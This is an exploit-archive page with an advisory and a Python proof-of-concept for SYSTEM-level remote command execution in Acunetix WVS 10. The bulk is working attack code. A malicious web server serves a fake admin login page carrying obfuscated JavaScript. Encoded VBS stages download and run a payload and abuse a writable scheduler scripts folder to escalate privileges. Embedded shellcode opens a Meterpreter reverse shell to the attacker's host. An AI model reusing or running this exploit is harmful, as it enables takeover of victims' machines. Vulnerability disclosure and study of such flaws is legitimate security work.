Home / exploits Acunetix WVS 10 - Remote command execution SYSTEM privilege
Posted on 30 November -0001
<HTML><HEAD><TITLE>Acunetix WVS 10 - Remote command execution (SYSTEM privilege)</TITLE><META http-equiv="Content-Type" content="text/html; charset=utf-8"></HEAD><BODY>''' Acunetix WVS 10 - Remote command execution (SYSTEM privilege) - Author: Daniele Linguaglossa Overview ========= Acunetix WVS 10 [1] is an enterprise web vulnerability scanner developer by Acunetix Inc. Two major flaws exists in the last version of Acunetix, these bug allow a remote attacker, to execute command in the context of application with SYSTEM privilege. Details ========== A first flaw exists in the way Acunetix render some html elements inside gui, in fact it uses jscript.dll without any concert about unsafe ActiveX object such as WScript.shell. If acunetix trigger a vulnerability during a scan session it saves a local html with the content of html page, so is possibile to trigger a fake vulnerability and insert a js which trigger the remote command execution. The second flaw it's about the Acunetix scheduler [2], the scheduler just allow to scan websites programmatically without any user interaction, is possible to schedule scan via the web interface on 127.0.0.1:8183 . like any scan Acunetix, will perform some tests on the targeted Host before real scan, these test are executed upon some script into folder C:ProgramDataAcunetix WVS 10DataScripts icacls show a bad privileges in this folder, so any user (even guest) will be able to replace these custom checks with own ones (Remember first flaw with jscript.dll) :D C:ProgramDataAcunetix WVS 10Data>icacls Scripts Scripts Everyone:(OI)(CI)(M) Everyone:(I)(OI)(CI)(M) NT AUTHORITYSYSTEM:(I)(OI)(CI)(F) BUILTINAdministrators:(I)(OI)(CI)(F) CREATOR OWNER:(I)(OI)(CI)(IO)(F) BUILTINUsers:(I)(OI)(CI)(RX) BUILTINUsers:(I)(CI)(WD,AD,WEA,WA) <---- UNSAFE [3] Elaborazione completata per 1 file. Elaborazione non riuscita per 0 file C:ProgramDataAcunetix WVS 10Data> With this two flaws in mind i wrote a small exploit which is able to obtain RCE via a meterpreter shell, anyway there are some requirement: 1) Target must have VBS script interpreter 2) Target must have the scheduler service 3) Target must be Windows Exploit ========== https://github.com/dzonerzy/acunetix_0day https://www.youtube.com/watch?v=gWcRlam59Fs (video proof) Solution ========== Jscript should be used with limited ActiveX, and permission on C:ProgramDataAcunetix WVS 10Data must be fixed! Footnotes _________ [1] http://www.acunetix.com/ [2] http://www.acunetix.com/support/docs/wvs/scheduling-scans/ [3] https://support.microsoft.com/it-it/kb/919240 ''' #!/usr/bin/env python # -*- coding: utf-8 -*- """ Acunetix 0day SYSTEM Remote Command Execution by Daniele Linguaglossa This PoC exploit 2 vulnerability in Acunetix core , the first one is a RCE (Remote Command Exec) and the second one is a LPE (Local Privilege Escalation). All credits for this exploit goes to Daniele Linguaglossa """ from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer from random import randint from threading import Thread from time import sleep import binascii import sys import base64 import os server = None def gen_random_name(size): alphabet = "abcdefghilmnopqrstuvzABCDEFGHILMNOPQRSTUVZ0123456789" name = "" for i in range(0, size): name += alphabet[randint(0, len(alphabet) - 1)] return name + ".vbs" def ip2b(ip): return "".join(binascii.hexlify(chr(int(t))) for t in ip.split(".")) def postexploitation(): print "[*] Sleeping 1 minutes to elevate privileges...ZzZz" sleep(70) # 2 minutes global server print "[!] Stopping server !" server.shutdown() print "[!] Exploit successful wait for session!" # param URL,FILENAME PAYLOAD_DOWNLOAD_EXEC = "dHNraWxsIHd2cw0KJGE9JycnDQogU2V0IGZzbyA9IENyZWF0ZU9iamVjdCgiU2NyaXB0aW5nLkZpbGVTeXN0ZW1PYmpl" "Y3QiKQ0KIFNldCB3c2hTaGVsbCA9IENyZWF0ZU9iamVjdCggIldTY3JpcHQuU2hlbGwiICkNCiBTZXQgT3V0cCA9IFdz" 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"0000000000000e0000f030b01023800020000000e000000000000001000000010000000200000000040000010000000" "020000040000000100000004000000000000000040000000020000463a0000020000000000200000100000000010000" "0100000000000001000000000000000000000000030000064000000000000000000000000000000000000000000000" "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" "00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002e7" "465787400000028000000001000000002000000020000000000000000000000000000200030602e64617461000000" "900a000000200000000c000000040000000000000000000000000000200030e02e6964617461000064000000003000" "000002000000100000000000000000000000000000400030c000000000000000000000000000000000b800204000ff" "e090ff253830400090900000000000000000ffffffff00000000ffffffff0000000000000000000000000000000000" "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" "0000000000000000000000000000000000000000000000000000000000000000000000009090909090909090909090" "90909090909090909090909090909090909033c0680810400064ff30648920fce8820000006089e531c0648b50308b" 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"b1d586db76faa0c06346149d2c88379cf186e36056669d4e7cc433cb8205dd0d058c2f6ae74111eeaa6a5883b14e74" "482d130a665e53b6e89020d600be481779ee7b97631b897608d6933c65fcfc4f630dabe2d0dbad0af7c614d81b679d" "619ce6a7eefbf94664a40e4772f540dc1964a979f4c25e125844c2a7075f6a6f5fae46dada35d3e83f82d03f87b11e" "cfb4bf6636d727cf99dae040b8dd3c7abcdb98eabb7e71b56348ce6a3c635299efebc81690288bbab0f6cad2ebfd2a" "a3d7aa74724b97be8ff3f360017970203ed71039a06799828f0455620fe432ef1dbb79cb87478c6d67e177fa72cbc0" "c1422a65197e33ee6a4b314992beb18cbaa3bcd00f43cc2749ed61c8d8cb38f512bee5bdb4d4574c0c56b91da064bd" "5c358dab92d2431b3c90938b4d0ec9661c2e9c98942585466ff7f0a7a5b5b56d825673b46966750cedce33eb0de118" "c5c4211b1bfc6d297d5d48205ac40a8f47b78988807fa9d312465c1c080b158c01267965e443de442716d3fe8ac029" "7640ef6d5632eaa784cf2b2b7a884d0589c93d69f8f8d7c6dc2b75a0825c0c5e892268cf3af3843004dc68dd05d367" "6ac0b218d9adc3ecca734fe7fa61de3272584ed349fffa669175cd8a873b72b7dce3cb4a8e8afa8ddbba2039219220" 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"0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" "00000002c3000000000000000000000543000003830000000000000000000000000000000000000000000000000000" "040300000000000000000000040300000000000009c004578697450726f63657373000000003000004b45524e454c3" "3322e646c6c00000000000000000000000000000000000000000000000000000000000000000000000000000000000" "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" "000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" "000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" "17aa9f565fccd8ce423701840cda9828320ce06749de816ae27196bce0849d1b494f89ffd49" # param CMD => PAYLOAD_DOWNLOAD_EXEC EXPLOIT_STAGE_1 = "PGh0bWw+PGhlYWQ+PC9oZWFkPjxib2R5PjxzY3JpcHQ+d2luZG93LmFsZXJ0ID0genl4O3dpbmRvdy5wcm9tcHQgPSB6eXg7d" "2luZG93LmNvbmZpcm0gPSB6eXg7d2luZG93LmNhbGxlZCA9IDA7ZnVuY3Rpb24genl4KCl7d2luZG93LmNhbGxlZCA9IDE7dm" "FyIHh5ej0iJXMiO2V2YWwoZnVuY3Rpb24ocCxhLGMsayxlLGQpe2U9ZnVuY3Rpb24oYyl7cmV0dXJuIGMudG9TdHJpbmcoMzY" "pfTtpZighJycucmVwbGFjZSgvXi8sU3RyaW5nKSl7d2hpbGUoYy0tKXtkW2MudG9TdHJpbmcoYSldPWtbY118fGMudG9TdHJp" "bmcoYSl9az1bZnVuY3Rpb24oZSl7cmV0dXJuIGRbZV19XTtlPWZ1bmN0aW9uKCl7cmV0dXJuJ1xcdysnfTtjPTF9O3doaWxlK" "GMtLSl7aWYoa1tjXSl7cD1wLnJlcGxhY2UobmV3IFJlZ0V4cCgnXFxiJytlKGMpKydcXGInLCdnJyksa1tjXSl9fXJldHVybi" "BwfSgnNSAwPTYgNCgiMy4xIik7MC4yKFwnNyAvOCBkIC9lICIiICJjIiAtYiA5IC1hICJmIlwnKTsnLDE2LDE2LCdceDczXHg" "2OFx4NjVceDZjXHg2Y3xceDUzXHg2OFx4NjVceDZjXHg2Y3xceDcyXHg3NVx4NmV8XHg1N1x4NTNceDYzXHg3Mlx4NjlceDcw" "XHg3NHxceDQxXHg2M1x4NzRceDY5XHg3Nlx4NjVceDU4XHg0Zlx4NjJceDZhXHg2NVx4NjNceDc0fHZhcnxuZXd8XHg2M1x4N" "mRceDY0fEN8Tm9ybWFsfFx4NjVceDZlXHg2M1x4NmZceDY0XHg2NVx4NjRceDYzXHg2Zlx4NmRceDZkXHg2MVx4NmVceDY0fH" "dpbmRvd1x4NzNceDc0XHg3OVx4NmNceDY1fFx4NzBceDZmXHg3N1x4NjVceDcyXHg3M1x4NjhceDY1XHg2Y1x4NmN8XHg3M1x" "4NzRceDQxXHg1Mlx4NzR8QnwkJCcucmVwbGFjZSgiJCQiLHh5eikuc3BsaXQoJ3wnKSwwLHt9KSk7ZG9jdW1lbnQuYm9keS5p" "bm5lckhUTUw9JzQwNCBOb3QgZm91bmQnO308L3NjcmlwdD4lczxzY3JpcHQ+aWYgKHdpbmRvdy5jYWxsZWQgPT0gMCl7enl4K" "Ck7fTwvc2NyaXB0PjwvYm9keT48L2h0bWw+" LOGIN_FORM = "PHN0eWxlPg0KYm9keXsNCiAgbWFyZ2luOiAwcHg7DQogIHBhZGRpbmc6IDBweDsNCiAgYmFja2dyb3VuZDogIzFhYmM5ZDsNCn0NCg" "0KaDF7DQogIGNvbG9yOiAjZmZmOw0KICB0ZXh0LWFsaWduOiBjZW50ZXI7DQogIGZvbnQtZmFtaWx5OiBBcmlhbDsNCiAgZm9udC13Z" "WlnaHQ6IG5vcm1hbDsNCiAgbWFyZ2luOiAyZW0gYXV0byAwcHg7DQp9DQoub3V0ZXItc2NyZWVuew0KICBiYWNrZ3JvdW5kOiAjMTMy" "MDJjOw0KICB3aWR0aDogOTAwcHg7DQogIGhlaWdodDogNTQwcHg7DQogIG1hcmdpbjogNTBweCBhdXRvOw0KICBib3JkZXItcmFkaXV" "zOiAyMHB4Ow0KICAtbW96LWJvcmRlci1yYWRpdXM6IDIwcHg7DQogIC13ZWJraXQtYm9yZGVyLXJhZGl1czogMjBweDsNCiAgcG9zaXR" "pb246IHJlbGF0aXZlOw0KICBwYWRkaW5nLXRvcDogMzVweDsNCn0NCg0KLm91dGVyLXNjcmVlbjpiZWZvcmV7DQogIGNvbnRlbnQ6IC" "IiOw0KICBiYWNrZ3JvdW5kOiAjM2U0YTUzOw0KICBib3JkZXItcmFkaXVzOiA1MHB4Ow0KICBwb3NpdGlvbjogYWJzb2x1dGU7DQogI" "GJvdHRvbTogMjBweDsNCiAgbGVmdDogMHB4Ow0KICByaWdodDogMHB4Ow0KICBtYXJnaW46IGF1dG87DQogIHotaW5kZXg6IDk5OTk" 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"Bub25lOw0KICB0cmFuc2l0aW9uOiBhbGwgMC4zcyBlYXNlOw0KICBmb250LXNpemU6IDEycHg7DQp9DQoNCmE6aG92ZXJ7DQogIGNvb" "G9yOiAjMWFiYzlkOw0KfQ0KDQoNCjo6LXdlYmtpdC1pbnB1dC1wbGFjZWhvbGRlciB7DQogICBjb2xvcjogZ3JheTsNCn0NCg0KOi1" "tb3otcGxhY2Vob2xkZXIgeyAvKiBGaXJlZm94IDE4LSAqLw0KICAgY29sb3I6IGdyYXk7ICANCn0NCg0KOjotbW96LXBsYWNlaG9sZG" "VyIHsgIC8qIEZpcmVmb3ggMTkrICovDQogICBjb2xvcjogZ3JheTsgIA0KfQ0KDQo6LW1zLWlucHV0LXBsYWNlaG9sZGVyIHsgIA0KI" "CAgY29sb3I6IGdyYXk7ICANCn0NCjwvc3R5bGU+DQo8aDE+QWRtaW4gcGFuZWw8L2gxPg0KPGRpdiBjbGFzcz0ic3RhbmQiPg0KICA8" "ZGl2IGNsYXNzPSJvdXRlci1zY3JlZW4iPg0KICAgIDxkaXYgY2xhc3M9ImlubmVyLXNjcmVlbiI+DQogICAgICA8ZGl2IGNsYXNzPSJ" "mb3JtIj4NCiAgICAgIDxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSIvbG9naW4iPg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dC" "IgbmFtZT0idXNyIiBwbGFjZWhvbGRlcj0iVXNlcm5hbWUiIC8+DQogICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJwd2QiI" "HBsYWNlaG9sZGVyPSJQYXNzd29yZCIgLz4NCiAgICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJMb2dpbiIgLz4NCiAg" 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"ICYgIjoiJiBNaW51dGUoTm93KSsxDQogIHNSZXF1ZXN0ID0gInsiInNjYW5UeXBlIiI6IiJzY2FuIiIsIiJ0YXJnZXRMaXN0Ii" "I6IiIiIiwiInRhcmdldCIiOlsiImh0dHA6Ly93d3cuZ29vZ2xlLml0IiJdLCIicmVjdXJzZSIiOiIiLTEiIiwiImRhdGUiIjoi" "IiIgJiB5ICYgIiIiLCIiZGF5T2ZXZWVrIiI6IiIxIiIsIiJkYXlPZk1vbnRoIiI6IiIxIiIsIiJ0aW1lIiI6IiIiICYgaCAmIC" "IiIiwiImRlbGV0ZUFmdGVyQ29tcGxldGlvbiIiOiIiRmFsc2UiIiwiInBhcmFtcyIiOnsiInByb2ZpbGUiIjoiIkRlZmF1bHQi" "IiwiImxvZ2luU2VxIiI6IiI8bm9uZT4iIiwiInNldHRpbmdzIiI6IiJEZWZhdWx0IiIsIiJzY2FubmluZ21vZGUiIjoiImhldX" "Jpc3RpYyIiLCIiZXhjbHVkZWRob3VycyIiOiIiPG5vbmU+IiIsIiJzYXZldG9kYXRhYmFzZSIiOiIiVHJ1ZSIiLCIic2F2ZWxv" "Z3MiIjoiIkZhbHNlIiIsIiJnZW5lcmF0ZXJlcG9ydCIiOiIiRmFsc2UiIiwiInJlcG9ydGZvcm1hdCIiOiIiUERGIiIsIiJyZX" "BvcnR0ZW1wbGF0ZSIiOiIiV1ZTRGV2ZWxvcGVyUmVwb3J0LnJlcCIiLCIiZW1haWxhZGRyZXNzIiI6IiIiIn19Ig0KICBzZXQg" "b0hUVFAgPSBDcmVhdGVPYmplY3QoIk1pY3Jvc29mdC5YTUxIVFRQIikNCiAgb0hUVFAub3BlbiAiUE9TVCIsICJodHRwOi8vMT" "I3LjAuMC4xOjgxODMvYXBpL2FkZFNjYW4iLCBmYWxzZQ0KICBvSFRUUC5zZXRSZXF1ZXN0SGVhZGVyICJDb250ZW50LVR5cGUi" "LCAiYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkIg0KICBvSFRUUC5zZXRSZXF1ZXN0SGVhZGVyICJYLVJlcXVlc3" "RlZC1XaXRoIiwgIlhNTEh0dHBSZXF1ZXN0Ig0KICBvSFRUUC5zZXRSZXF1ZXN0SGVhZGVyICJBY2NlcHQiLCAiYXBwbGljYXRp" "b24vanNvbiwgdGV4dC9qYXZhc2NyaXB0LCAqLyo7IHE9MC4wMSINCiAgb0hUVFAuc2V0UmVxdWVzdEhlYWRlciAiQ29udGVudC" "1UeXBlIiwgImFwcGxpY2F0aW9uL2pzb247IGNoYXJzZXQ9VVRGLTgiDQogIG9IVFRQLnNldFJlcXVlc3RIZWFkZXIgIlJlcXVl" "c3RWYWxpZGF0ZWQiLCAgInRydWUiDQogIG9IVFRQLnNldFJlcXVlc3RIZWFkZXIgIkNvbnRlbnQtTGVuZ3RoIiwgTGVuKHNSZX" "F1ZXN0KQ0KICBvSFRUUC5zZW5kIHNSZXF1ZXN0DQogRW5kIEZ1bmN0aW9uDQogDQogRXNjYWxhdGVBbmRFeGVjdXRlDQogZnNv" "LkRlbGV0ZUZpbGUgV1NjcmlwdC5TY3JpcHRGdWxsTmFtZQ0KIFdTY3JpcHQuUXVpdA==" class myHandler(BaseHTTPRequestHandler): timeout = 5 server_version = "Apache" sys_version = "1.2" def log_message(self, format, *args): try: paths = str(list(args)[0]) if "prompt" in paths or "confirm" in paths or "alert" in paths: print "[*] Triggering EXPLOIT_STAGE_1 + PAYLOAD_DOWNLOAD_EXEC sending (%s) bytes !" % (len(PAYLOAD_DOWNLOAD_EXEC) + len(EXPLOIT_STAGE_1)) if "stage2" in paths: print "[*] Triggering EXPLOIT_STAGE_2 sending (%s) bytes !" % len(EXPLOIT_STAGE_2) return except: pass return def do_POST(self): PDE = base64.b64decode(PAYLOAD_DOWNLOAD_EXEC) % (sys.argv[2] + ":" + sys.argv[1], "%TEMP%", gen_random_name(12)) data = self.rfile.read(int(self.headers.getheader("Content-Length"))) data = data.split("&") self.send_response(200) self.send_header('Content-type', 'text/html') self.end_headers() for param in data: if "usr" in param: param = param.split("=")[1] self.wfile.write(base64.b64decode(EXPLOIT_STAGE_1) % (base64.b64encode("".join(x + "x00" for x in PDE)), ("Bad password for user %s , <a href="/">try again</a>." % param))) return self.wfile.write(base64.b64decode(EXPLOIT_STAGE_1) % (base64.b64encode("".join(x + "x00" for x in PDE)), "Some data are missing , <a href="/">try again</a>.")) return def do_GET(self): try: if self.path == "/": self.send_response(302) self.send_header('Content-type', 'text/html') self.send_header('Location', "login") self.end_headers() # Send the html message self.wfile.write("<a href='/?url=test'>Here</a>") return elif self.path == "/stage2": self.send_response(200) self.send_header('Content-type', 'text/plain') self.end_headers() # Send the html message self.wfile.write(base64.b64decode(EXPLOIT_STAGE_2) % (PAYLOAD_METERPETRER % ip2b(sys.argv[2]), "%TEMP%")) postexpthread = Thread(target=postexploitation, args=(self.client_address[0], )) postexpthread.start() return else: string = "" try: string = self.path.split("=")[1] except: pass self.send_response(200) self.send_header('Content-type', 'text/html') self.end_headers() # Send the html message PDE = base64.b64decode(PAYLOAD_DOWNLOAD_EXEC) % (sys.argv[2] + ":" + sys.argv[1], "%TEMP%", gen_random_name(12)) self.wfile.write(base64.b64decode(EXPLOIT_STAGE_1) % (base64.b64encode("".join(x + "x00" for x in PDE)), base64.b64decode(LOGIN_FORM))) return except Exception as e: print e.message self.send_response(200) self.send_header('Content-type', 'text/plain') self.end_headers() self.wfile.write("") return if __name__ == "__main__": print " Acunetix WVS 10 - SYSTEM Remote Command Execution (Daniele Linguaglossa) " "Payload: Meterpreter reverse TCP 4444" try: if len(sys.argv) > 2: # Create a web server and define the handler to manage the # incoming request server = HTTPServer(('0.0.0.0', int(sys.argv[1])), myHandler) print 'Exploit started on port *:%s' % sys.argv[1] print '[+] Waiting for scanner...' # Wait forever for incoming http requests server.serve_forever() else: print "Usage: %s <port> <local ip/domain name>" % os.path.basename(sys.argv[0]) except KeyboardInterrupt: print '^C received, shutting down the web server' server.socket.close() </BODY></HTML>
